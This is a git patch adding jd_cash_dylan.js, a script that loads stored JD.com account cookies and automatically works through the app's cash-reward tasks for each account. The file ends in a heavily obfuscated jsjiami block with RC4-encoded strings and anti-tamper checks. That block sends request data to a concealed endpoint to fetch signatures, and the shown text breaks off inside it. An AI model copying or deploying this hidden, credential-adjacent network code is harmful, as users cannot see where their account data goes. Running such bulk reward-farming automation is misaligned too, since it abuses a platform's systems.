From 24f40a2f72758258b1e3f3002f9c2284c40c1042 Mon Sep 17 00:00:00 2001 From: Faker Date: Wed, 3 Aug 2022 11:15:59 +0800 Subject: [PATCH] update --- jd_cash_dylan.js | 403 ++++++++++ jd_cash_freesoul.js | 19 - jd_daily_lottery.js | 339 --------- jd_dpqd.js | 78 +- jd_superMarket.js | 1754 +------------------------------------------ jd_wish.js | 160 +--- 6 files changed, 480 insertions(+), 2273 deletions(-) create mode 100644 jd_cash_dylan.js delete mode 100644 jd_cash_freesoul.js delete mode 100644 jd_daily_lottery.js diff --git a/jd_cash_dylan.js b/jd_cash_dylan.js new file mode 100644 index 0000000..ad839fa --- /dev/null +++ b/jd_cash_dylan.js @@ -0,0 +1,403 @@ +/* +签到领现金 +活动入口:京东APP搜索领现金进入 +更新时间:2022-08-02 +定时自定义,一天跑两次就行了 + */ + +const $ = new Env('签到领现金_Dylan'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let allMessage = ''; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdCash() + } + } + if (allMessage) { + if ($.isNode() && (process.env.CASH_NOTIFY_CONTROL ? process.env.CASH_NOTIFY_CONTROL === 'false' : !!1)) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdCash() { + $.signMoney = 0; + + await appindex() + await index() + await appindex(true) +} + +async function appindex(info=false) { + let functionId = "cash_homePage" + let sign = `body=%7B%7D&build=167968&client=apple&clientVersion=10.4.0&d_brand=apple&d_model=iPhone13%2C3&ef=1&eid=eidI25488122a6s9Uqq6qodtQx6rgQhFlHkaE1KqvCRbzRnPZgP/93P%2BzfeY8nyrCw1FMzlQ1pE4X9JdmFEYKWdd1VxutadX0iJ6xedL%2BVBrSHCeDGV1&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22CJO3CMeyDJCy%22%2C%22osVersion%22%3A%22CJUkDK%3D%3D%22%2C%22openudid%22%3A%22CJSmCWU0DNYnYtS0DtGmCJY0YJcmDwCmYJC0DNHwZNc5ZQU2DJc3Zq%3D%3D%22%2C%22area%22%3A%22CJZpCJCmC180ENcnCv80ENc1EK%3D%3D%22%2C%22uuid%22%3A%22aQf1ZRdxb2r4ovZ1EJZhcxYlVNZSZz09%22%7D%2C%22ts%22%3A1648428189%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%2C%22pvcStu%22%3A%221%22%7D&isBackground=N&joycious=104&lang=zh_CN&networkType=3g&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=11&sign=98c0ea91318ef1313786d86d832f1d4d&st=1648428208392&sv=101&uemps=0-0&uts=0f31TVRjBSv7E8yLFU2g86XnPdLdKKyuazYDek9RnAdkKCbH50GbhlCSab3I2jwM04d75h5qDPiLMTl0I3dvlb3OFGnqX9NrfHUwDOpTEaxACTwWl6n//EOFSpqtKDhg%2BvlR1wAh0RSZ3J87iAf36Ce6nonmQvQAva7GoJM9Nbtdah0dgzXboUL2m5YqrJ1hWoxhCecLcrUWWbHTyAY3Rw%3D%3D` + return new Promise((resolve) => { + $.post(apptaskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`appindex API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code===0 && data.data.result){ + if(info){ + if (message) { + message += `当前现金:${data.data.result.totalMoney}元`; + allMessage += `京东账号${$.index}${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + console.log(`\n\n当前现金:${data.data.result.totalMoney}元`); + return + } + $.signMoney = data.data.result.totalMoney; + // console.log(`您的助力码为${data.data.result.invitedCode}`) + //console.log(`\n【京东账号${$.index}(${$.UserName})的好友互助码】${data.data.result.invitedCode}\n`); + let helpInfo = { + 'inviteCode': data.data.result.invitedCode, + 'shareDate': data.data.result.shareDate + } + $.shareDate = data.data.result.shareDate; + // $.log(`shareDate: ${$.shareDate}`) + // console.log(helpInfo) + for (let task of data.data.result.taskInfos) { + if (task.type === 4) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.skuId) + await $.wait(5000) + } + } else if (task.type === 2) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.shopId) + await $.wait(5000) + } + } else if (task.type === 30) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.path) + await $.wait(5000) + } + } else if (task.type === 16 || task.type===3 || task.type===5 || task.type===17 || task.type===35) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.url) + await $.wait(5000) + } + }else if (task.type === 7) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, 1) + await $.wait(5000) + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function index() { + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_home"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`index API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.result) { + for (let task of data.data.result.taskInfos) { + if (task.type === 4) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.skuId) + await $.wait(5000) + } + } else if (task.type === 2) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.shopId) + await $.wait(5000) + } + } else if (task.type === 31) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.path) + await $.wait(5000) + } + } else if (task.type === 16 || task.type===3 || task.type===5 || task.type===17 || task.type===21) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.url) + await $.wait(5000) + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function appdoTask(type,taskInfo) { + let functionId = 'cash_doTask' + let body = {"type":type,"taskInfo":taskInfo} + for (let i=0; i<3; i++){ + var sign = await _0x5f5391(functionId, body) + if(sign) break; + await $.wait(5000) + } + if(sign){ + return new Promise((resolve) => { + $.post(apptaskUrl(functionId, sign), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`appdoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code === 0) { + console.log(`任务完成成功`) + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + } +} +function doTask(type,taskInfo) { + return new Promise((resolve) => { + $.get(taskUrl("cash_doTask",{"type":type,"taskInfo":taskInfo}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if( data.code === 0){ + console.log(`任务完成成功`) + // console.log(data.data.result.taskInfos) + }else{ + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +;var encode_version = 'jsjiami.com.v5', onjan = '__0xe74ef', __0xe74ef=['\x77\x6f\x48\x44\x72\x52\x64\x50\x54\x41\x3d\x3d','\x77\x72\x73\x56\x77\x6f\x49\x75\x77\x37\x63\x3d','\x77\x36\x7a\x44\x70\x43\x46\x6f\x42\x51\x3d\x3d','\x77\x71\x66\x43\x76\x4d\x4f\x30\x77\x72\x63\x43','\x77\x37\x49\x37\x77\x70\x44\x43\x6a\x73\x4b\x52','\x77\x36\x50\x43\x6d\x57\x51\x6f\x77\x71\x6f\x3d','\x77\x6f\x44\x44\x69\x67\x64\x4d\x59\x41\x3d\x3d','\x65\x6a\x78\x4d\x77\x36\x76\x43\x6f\x63\x4b\x34','\x4f\x4d\x4b\x71\x77\x70\x51\x31\x4a\x77\x3d\x3d','\x64\x73\x4f\x61\x77\x36\x6b\x3d','\x4b\x73\x4f\x38\x77\x6f\x6e\x44\x67\x6b\x4d\x3d','\x77\x35\x50\x43\x6f\x6c\x2f\x44\x68\x51\x3d\x3d','\x49\x63\x4f\x6d\x77\x72\x62\x44\x71\x67\x3d\x3d','\x77\x72\x62\x44\x6f\x42\x68\x32\x52\x77\x3d\x3d','\x44\x55\x59\x52\x45\x67\x6b\x3d','\x77\x37\x6a\x44\x75\x33\x62\x44\x75\x38\x4b\x63','\x41\x38\x4f\x50\x77\x35\x63\x3d','\x77\x6f\x6b\x78\x77\x71\x51\x4a\x77\x36\x62\x44\x74\x73\x4f\x64\x57\x56\x55\x3d','\x77\x71\x54\x44\x6d\x44\x70\x70\x62\x38\x4b\x49\x77\x71\x51\x45\x77\x70\x44\x43\x72\x38\x4f\x36\x77\x35\x6b\x78\x65\x77\x3d\x3d','\x45\x30\x55\x4e','\x77\x35\x30\x59\x77\x6f\x51\x3d','\x35\x34\x6d\x74\x35\x70\x36\x2b\x35\x59\x79\x6a\x37\x37\x36\x68\x4a\x4d\x4b\x66\x35\x4c\x32\x65\x35\x61\x36\x49\x35\x70\x2b\x42\x35\x62\x2b\x50\x35\x36\x75\x55\x37\x37\x79\x50\x36\x4c\x79\x54\x36\x4b\x36\x64\x35\x70\x53\x58\x35\x6f\x2b\x61\x35\x6f\x69\x79\x35\x4c\x75\x48\x35\x35\x6d\x64\x35\x62\x65\x4f\x35\x4c\x2b\x4d','\x45\x38\x4b\x6d\x77\x35\x44\x44\x6b\x7a\x38\x3d','\x43\x63\x4b\x4d\x77\x34\x41\x61\x59\x41\x3d\x3d','\x4f\x4d\x4b\x39\x77\x35\x62\x44\x68\x53\x4d\x3d','\x77\x37\x39\x6f\x77\x6f\x58\x43\x67\x38\x4f\x7a','\x58\x6a\x37\x44\x75\x73\x4f\x79\x46\x77\x3d\x3d','\x4d\x63\x4f\x38\x77\x36\x62\x43\x6b\x6b\x6f\x3d','\x49\x63\x4f\x35\x77\x6f\x78\x71\x46\x77\x3d\x3d','\x4c\x6d\x45\x63\x48\x7a\x45\x3d','\x77\x36\x7a\x44\x74\x6b\x4e\x72\x44\x67\x3d\x3d','\x4c\x73\x4f\x7a\x77\x35\x35\x4c\x62\x51\x3d\x3d','\x77\x71\x33\x43\x6d\x7a\x6e\x43\x75\x6b\x30\x3d','\x4f\x6e\x4c\x44\x73\x4d\x4b\x6c\x47\x67\x3d\x3d','\x77\x35\x41\x2f\x77\x6f\x33\x44\x6a\x56\x41\x3d','\x4a\x58\x41\x2f\x43\x73\x4f\x67','\x77\x35\x72\x44\x6b\x44\x4c\x44\x6f\x6c\x41\x3d','\x47\x4d\x4b\x61\x49\x43\x54\x44\x70\x51\x3d\x3d','\x59\x38\x4f\x57\x50\x57\x6f\x44','\x46\x73\x4f\x4c\x77\x72\x48\x44\x6f\x63\x4f\x34','\x48\x68\x72\x43\x6f\x63\x4f\x7a\x44\x73\x4b\x65\x77\x37\x63\x32\x77\x71\x46\x34\x59\x41\x3d\x3d','\x77\x34\x62\x43\x76\x38\x4b\x67\x42\x67\x34\x6f','\x45\x6d\x37\x44\x76\x73\x4b\x38\x45\x67\x3d\x3d','\x77\x34\x6f\x66\x77\x72\x33\x44\x72\x6c\x2f\x43\x67\x4d\x4f\x35\x77\x71\x7a\x44\x6c\x67\x3d\x3d','\x77\x37\x33\x43\x67\x45\x6f\x3d','\x77\x34\x62\x43\x72\x31\x51\x74\x77\x72\x51\x79\x56\x52\x76\x43\x6d\x63\x4b\x6d\x41\x73\x4b\x62\x77\x6f\x5a\x72\x77\x71\x4c\x43\x74\x7a\x42\x57\x77\x72\x4c\x43\x74\x58\x41\x44\x5a\x4d\x4f\x6d\x77\x6f\x70\x4a\x77\x72\x50\x43\x74\x38\x4b\x71\x57\x73\x4b\x61\x77\x71\x6a\x44\x73\x38\x4b\x37\x77\x35\x55\x3d','\x46\x63\x4b\x66\x49\x69\x66\x44\x67\x38\x4b\x30\x77\x6f\x59\x49\x50\x6b\x6f\x75\x77\x35\x6b\x67\x77\x71\x74\x76\x57\x38\x4b\x70\x77\x37\x54\x44\x76\x6a\x2f\x43\x69\x63\x4f\x37\x77\x37\x59\x37\x77\x34\x4d\x34\x77\x71\x49\x6a\x77\x71\x67\x31\x41\x55\x6c\x57','\x36\x4c\x2b\x49\x35\x6f\x2b\x32\x62\x38\x4f\x33\x35\x70\x2b\x65\x35\x59\x6d\x72\x35\x6f\x6d\x6b\x35\x59\x75\x67','\x35\x36\x32\x56\x35\x5a\x4f\x31\x36\x49\x36\x78\x35\x59\x2b\x6d\x35\x61\x57\x56\x36\x4c\x65\x76\x43\x65\x61\x4d\x76\x65\x53\x35\x75\x75\x61\x56\x68\x75\x6d\x57\x6e\x75\x57\x48\x6e\x4f\x69\x75\x70\x63\x4b\x55','\x77\x34\x56\x78\x77\x35\x63\x69\x77\x71\x34\x3d','\x77\x36\x48\x44\x73\x47\x50\x43\x74\x38\x4b\x6c','\x77\x35\x6e\x44\x70\x69\x4c\x44\x73\x56\x4d\x3d','\x47\x38\x4f\x74\x61\x68\x6b\x52','\x5a\x73\x4f\x6a\x47\x63\x4b\x4b\x4f\x41\x3d\x3d','\x77\x70\x44\x43\x73\x73\x4b\x38\x46\x67\x3d\x3d','\x58\x4d\x4f\x46\x43\x67\x3d\x3d','\x65\x4d\x4b\x4d\x59\x51\x3d\x3d','\x55\x53\x76\x44\x6f\x51\x3d\x3d','\x77\x37\x62\x43\x6c\x6e\x51\x3d','\x36\x4c\x2b\x70\x35\x6f\x2b\x50\x77\x37\x7a\x44\x6f\x65\x61\x64\x75\x2b\x57\x4b\x72\x4f\x61\x4c\x74\x75\x57\x4c\x75\x77\x3d\x3d','\x77\x36\x54\x44\x67\x4d\x4b\x54','\x4d\x73\x4f\x6e\x77\x34\x49\x3d','\x44\x63\x4f\x31\x77\x71\x55\x3d','\x77\x35\x66\x44\x70\x47\x49\x3d','\x35\x34\x75\x78\x35\x70\x32\x48\x35\x59\x79\x34\x37\x37\x36\x4c\x57\x38\x4b\x55\x35\x4c\x36\x4b\x35\x61\x32\x51\x35\x70\x36\x77\x35\x62\x32\x65\x35\x36\x75\x78\x37\x37\x32\x61\x36\x4c\x79\x75\x36\x4b\x36\x6a\x35\x70\x53\x35\x35\x6f\x36\x53\x35\x6f\x69\x4c\x35\x4c\x71\x53\x35\x35\x6d\x4f\x35\x62\x53\x6a\x35\x4c\x79\x71','\x77\x37\x54\x44\x6a\x73\x4b\x5a','\x36\x4c\x32\x44\x35\x6f\x79\x79\x36\x4c\x79\x6d\x35\x6f\x32\x6d\x48\x57\x2f\x6d\x6e\x59\x2f\x6c\x69\x36\x50\x6c\x70\x61\x66\x6f\x74\x6f\x33\x76\x76\x49\x2f\x70\x68\x71\x62\x6f\x72\x49\x62\x6a\x67\x61\x76\x6a\x67\x71\x58\x6a\x67\x71\x73\x3d','\x54\x73\x4b\x4b\x63\x67\x3d\x3d','\x77\x34\x77\x46\x77\x71\x76\x44\x6f\x6c\x66\x43\x6a\x73\x4f\x2b\x77\x71\x2f\x44\x69\x77\x3d\x3d','\x58\x52\x6e\x44\x6b\x73\x4f\x52\x46\x32\x44\x43\x6a\x30\x70\x65\x5a\x44\x38\x6b\x77\x37\x6a\x43\x6e\x67\x3d\x3d','\x35\x59\x69\x4c\x36\x5a\x71\x63\x35\x34\x6d\x4f\x35\x70\x79\x63\x35\x59\x36\x54\x37\x37\x2b\x47\x54\x79\x7a\x6b\x76\x59\x72\x6c\x72\x4b\x72\x6d\x6e\x62\x58\x6c\x76\x61\x6a\x6e\x71\x36\x63\x3d','\x77\x34\x58\x44\x68\x53\x42\x48\x42\x51\x3d\x3d','\x41\x4d\x4b\x37\x77\x72\x51\x44\x43\x51\x3d\x3d','\x77\x35\x2f\x44\x76\x38\x4b\x63\x77\x72\x59\x56','\x57\x38\x4b\x5a\x64\x45\x4d\x42','\x4d\x38\x4f\x70\x77\x71\x35\x2b\x49\x77\x3d\x3d','\x62\x38\x4f\x2b\x4c\x58\x63\x3d','\x66\x63\x4f\x55\x43\x38\x4b\x35\x42\x77\x3d\x3d','\x46\x4d\x4b\x4c\x77\x71\x51\x48\x50\x51\x3d\x3d','\x48\x38\x4f\x6f\x77\x36\x33\x43\x74\x55\x51\x3d','\x47\x33\x73\x4a\x45\x68\x41\x3d','\x77\x36\x4a\x70\x77\x36\x41\x3d','\x47\x73\x4b\x47\x77\x37\x34\x6a\x65\x67\x3d\x3d','\x77\x36\x6e\x44\x69\x42\x5a\x6b','\x51\x52\x50\x44\x6f\x6c\x67\x3d','\x4f\x73\x4f\x52\x52\x44\x49\x6f','\x77\x36\x41\x55\x77\x70\x6a\x43\x6b\x63\x4b\x54','\x66\x4d\x4f\x48\x77\x36\x51\x43\x56\x67\x3d\x3d','\x44\x63\x4f\x7a\x77\x72\x62\x44\x67\x73\x4f\x46','\x59\x4d\x4f\x2b\x4c\x6c\x63\x45\x77\x36\x67\x3d','\x48\x63\x4f\x67\x5a\x51\x4d\x57','\x52\x38\x4b\x58\x59\x51\x3d\x3d','\x4a\x38\x4b\x46\x77\x71\x67\x56\x42\x77\x3d\x3d','\x4e\x79\x6e\x43\x69\x4d\x4f\x66\x4f\x41\x3d\x3d','\x77\x35\x4c\x44\x6a\x53\x7a\x44\x6b\x48\x77\x3d','\x49\x38\x4f\x4d\x77\x6f\x48\x44\x73\x63\x4f\x65','\x77\x35\x55\x45\x77\x71\x67\x3d','\x77\x34\x6f\x4e\x77\x72\x41\x3d','\x77\x34\x52\x47\x77\x71\x63\x3d','\x43\x63\x4f\x50\x77\x70\x77\x3d','\x77\x6f\x73\x48\x77\x71\x49\x46\x77\x35\x6b\x3d','\x48\x38\x4b\x2b\x77\x34\x4c\x44\x67\x6a\x38\x3d','\x50\x4d\x4b\x67\x77\x6f\x4d\x6e\x4f\x51\x3d\x3d','\x77\x37\x74\x68\x77\x71\x37\x43\x6a\x38\x4f\x34','\x63\x38\x4b\x71\x65\x38\x4f\x68\x77\x35\x67\x3d','\x77\x34\x48\x44\x67\x33\x49\x3d','\x48\x73\x4f\x32\x77\x34\x2f\x44\x6f\x43\x6b\x3d','\x77\x72\x46\x77\x44\x4d\x4b\x30\x4c\x77\x3d\x3d'];(function(_0x467823,_0x324b83){var _0x4d9338=function(_0x198661){while(--_0x198661){_0x467823['push'](_0x467823['shift']());}};var _0x1a289f=function(){var _0x3c4f37={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x1255bb,_0x295eec,_0x5c81de,_0x102010){_0x102010=_0x102010||{};var _0x4cac7a=_0x295eec+'='+_0x5c81de;var _0x1b0af3=0x0;for(var _0x1b0af3=0x0,_0x3a78d5=_0x1255bb['length'];_0x1b0af3<_0x3a78d5;_0x1b0af3++){var _0x3dcf8e=_0x1255bb[_0x1b0af3];_0x4cac7a+=';\x20'+_0x3dcf8e;var _0x1e1717=_0x1255bb[_0x3dcf8e];_0x1255bb['push'](_0x1e1717);_0x3a78d5=_0x1255bb['length'];if(_0x1e1717!==!![]){_0x4cac7a+='='+_0x1e1717;}}_0x102010['cookie']=_0x4cac7a;},'removeCookie':function(){return'dev';},'getCookie':function(_0xdd8b82,_0x5b2644){_0xdd8b82=_0xdd8b82||function(_0x117008){return _0x117008;};var _0x48db3c=_0xdd8b82(new RegExp('(?:^|;\x20)'+_0x5b2644['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));var _0x30cecf=function(_0x3e2adb,_0x60724a){_0x3e2adb(++_0x60724a);};_0x30cecf(_0x4d9338,_0x324b83);return _0x48db3c?decodeURIComponent(_0x48db3c[0x1]):undefined;}};var _0x450fe3=function(){var _0x1bfcbb=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x1bfcbb['test'](_0x3c4f37['removeCookie']['toString']());};_0x3c4f37['updateCookie']=_0x450fe3;var _0x1d31ca='';var _0x23c3f0=_0x3c4f37['updateCookie']();if(!_0x23c3f0){_0x3c4f37['setCookie'](['*'],'counter',0x1);}else if(_0x23c3f0){_0x1d31ca=_0x3c4f37['getCookie'](null,'counter');}else{_0x3c4f37['removeCookie']();}};_0x1a289f();}(__0xe74ef,0x16c));var _0x12d3=function(_0x156e44,_0x18d54c){_0x156e44=_0x156e44-0x0;var _0x306d0b=__0xe74ef[_0x156e44];if(_0x12d3['initialized']===undefined){(function(){var _0x2d925f=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x4b6aa6='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2d925f['atob']||(_0x2d925f['atob']=function(_0x321667){var _0x3ea140=String(_0x321667)['replace'](/=+$/,'');for(var _0x203d8e=0x0,_0x1da6c1,_0x245b9c,_0x375749=0x0,_0xdfaf04='';_0x245b9c=_0x3ea140['charAt'](_0x375749++);~_0x245b9c&&(_0x1da6c1=_0x203d8e%0x4?_0x1da6c1*0x40+_0x245b9c:_0x245b9c,_0x203d8e++%0x4)?_0xdfaf04+=String['fromCharCode'](0xff&_0x1da6c1>>(-0x2*_0x203d8e&0x6)):0x0){_0x245b9c=_0x4b6aa6['indexOf'](_0x245b9c);}return _0xdfaf04;});}());var _0x273508=function(_0x4b7d92,_0x545235){var _0x36d3a5=[],_0x48fccb=0x0,_0x135534,_0x42bd4b='',_0x1b575e='';_0x4b7d92=atob(_0x4b7d92);for(var _0x3f5813=0x0,_0x5a2091=_0x4b7d92['length'];_0x3f5813<_0x5a2091;_0x3f5813++){_0x1b575e+='%'+('00'+_0x4b7d92['charCodeAt'](_0x3f5813)['toString'](0x10))['slice'](-0x2);}_0x4b7d92=decodeURIComponent(_0x1b575e);for(var _0xef07a2=0x0;_0xef07a2<0x100;_0xef07a2++){_0x36d3a5[_0xef07a2]=_0xef07a2;}for(_0xef07a2=0x0;_0xef07a2<0x100;_0xef07a2++){_0x48fccb=(_0x48fccb+_0x36d3a5[_0xef07a2]+_0x545235['charCodeAt'](_0xef07a2%_0x545235['length']))%0x100;_0x135534=_0x36d3a5[_0xef07a2];_0x36d3a5[_0xef07a2]=_0x36d3a5[_0x48fccb];_0x36d3a5[_0x48fccb]=_0x135534;}_0xef07a2=0x0;_0x48fccb=0x0;for(var _0x4d06fc=0x0;_0x4d06fc<_0x4b7d92['length'];_0x4d06fc++){_0xef07a2=(_0xef07a2+0x1)%0x100;_0x48fccb=(_0x48fccb+_0x36d3a5[_0xef07a2])%0x100;_0x135534=_0x36d3a5[_0xef07a2];_0x36d3a5[_0xef07a2]=_0x36d3a5[_0x48fccb];_0x36d3a5[_0x48fccb]=_0x135534;_0x42bd4b+=String['fromCharCode'](_0x4b7d92['charCodeAt'](_0x4d06fc)^_0x36d3a5[(_0x36d3a5[_0xef07a2]+_0x36d3a5[_0x48fccb])%0x100]);}return _0x42bd4b;};_0x12d3['rc4']=_0x273508;_0x12d3['data']={};_0x12d3['initialized']=!![];}var _0x112618=_0x12d3['data'][_0x156e44];if(_0x112618===undefined){if(_0x12d3['once']===undefined){var _0xe1c8cc=function(_0x30beb3){this['rc4Bytes']=_0x30beb3;this['states']=[0x1,0x0,0x0];this['newState']=function(){return'newState';};this['firstState']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['secondState']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0xe1c8cc['prototype']['checkState']=function(){var _0x1ed5c1=new RegExp(this['firstState']+this['secondState']);return this['runState'](_0x1ed5c1['test'](this['newState']['toString']())?--this['states'][0x1]:--this['states'][0x0]);};_0xe1c8cc['prototype']['runState']=function(_0x1d7c1f){if(!Boolean(~_0x1d7c1f)){return _0x1d7c1f;}return this['getState'](this['rc4Bytes']);};_0xe1c8cc['prototype']['getState']=function(_0x3589e0){for(var _0x362d1d=0x0,_0x237393=this['states']['length'];_0x362d1d<_0x237393;_0x362d1d++){this['states']['push'](Math['round'](Math['random']()));_0x237393=this['states']['length'];}return _0x3589e0(this['states'][0x0]);};new _0xe1c8cc(_0x12d3)['checkState']();_0x12d3['once']=!![];}_0x306d0b=_0x12d3['rc4'](_0x306d0b,_0x18d54c);_0x12d3['data'][_0x156e44]=_0x306d0b;}else{_0x306d0b=_0x112618;}return _0x306d0b;};function _0x5f5391(_0xc35c7a,_0x5c2be3){var _0x3ff539={'qnkzK':function _0xef2dd8(_0x4d8bf6,_0x2a8877){return _0x4d8bf6(_0x2a8877);}};var _0x392cb3='';let _0xea6584=_0x12d3('0x0','\x71\x6a\x5d\x39')+_0xc35c7a+_0x12d3('0x1','\x53\x73\x26\x4e')+_0x3ff539[_0x12d3('0x2','\x21\x23\x4b\x2a')](encodeURIComponent,JSON[_0x12d3('0x3','\x56\x30\x4e\x4e')](_0x5c2be3));return new Promise(_0x43920b=>{var _0x2f634c={'eJJWu':function _0x14f4a2(_0x189ed5,_0x20f992){return _0x189ed5===_0x20f992;},'lqdkv':_0x12d3('0x4','\x43\x25\x6e\x5b'),'mjijq':_0x12d3('0x5','\x7a\x4b\x53\x36'),'jevvt':_0x12d3('0x6','\x25\x5e\x66\x21'),'FUioU':_0x12d3('0x7','\x2a\x5b\x23\x59'),'xKHvI':function _0x475a98(_0x25fc74,_0x5774d4){return _0x25fc74!=_0x5774d4;},'uunzQ':function _0xd6bde5(_0x15839b,_0x46ee8b){return _0x15839b(_0x46ee8b);},'Lvnwu':_0x12d3('0x8','\x37\x45\x42\x76')};if(_0x2f634c[_0x12d3('0x9','\x4c\x24\x52\x6e')](_0x2f634c[_0x12d3('0xa','\x2a\x64\x65\x44')],_0x2f634c[_0x12d3('0xb','\x48\x40\x31\x63')])){let _0x3ea383={'url':_0x2f634c[_0x12d3('0xc','\x73\x71\x5e\x5b')],'body':_0xea6584,'headers':{'Content-Type':_0x2f634c[_0x12d3('0xd','\x35\x2a\x57\x78')]},'timeout':0x7530};$[_0x12d3('0xe','\x53\x73\x26\x4e')](_0x3ea383,async(_0x3e64e3,_0x81717a,_0x272316)=>{var _0x288cda={'HlBBx':function _0x4cbdf3(_0x158797,_0x24fb51){return _0x158797!==_0x24fb51;},'SvFFX':_0x12d3('0xf','\x62\x4a\x67\x4d'),'BhduL':_0x12d3('0x10','\x25\x71\x4c\x51'),'WUUwX':function _0x3c5053(_0x48851f,_0x1427a4){return _0x48851f==_0x1427a4;},'qRdEK':function _0x207c67(_0x31b831,_0x4995bc){return _0x31b831===_0x4995bc;},'DXVal':_0x12d3('0x11','\x5a\x26\x70\x6b'),'yUNRl':_0x12d3('0x12','\x7a\x4b\x53\x36'),'cHvzH':function _0xaf3377(_0x38ce65,_0x5c1d79){return _0x38ce65(_0x5c1d79);},'TMiVM':_0x12d3('0x13','\x5a\x26\x70\x6b'),'LVGAH':function _0xc9ecf1(_0x156581,_0x2f4ef2){return _0x156581!=_0x2f4ef2;},'GjOSG':function _0x506080(_0x2f9ba2,_0x30b248){return _0x2f9ba2===_0x30b248;},'frjAj':_0x12d3('0x14','\x76\x68\x5d\x6a'),'HttIM':_0x12d3('0x15','\x5e\x73\x72\x51'),'kgfpv':function 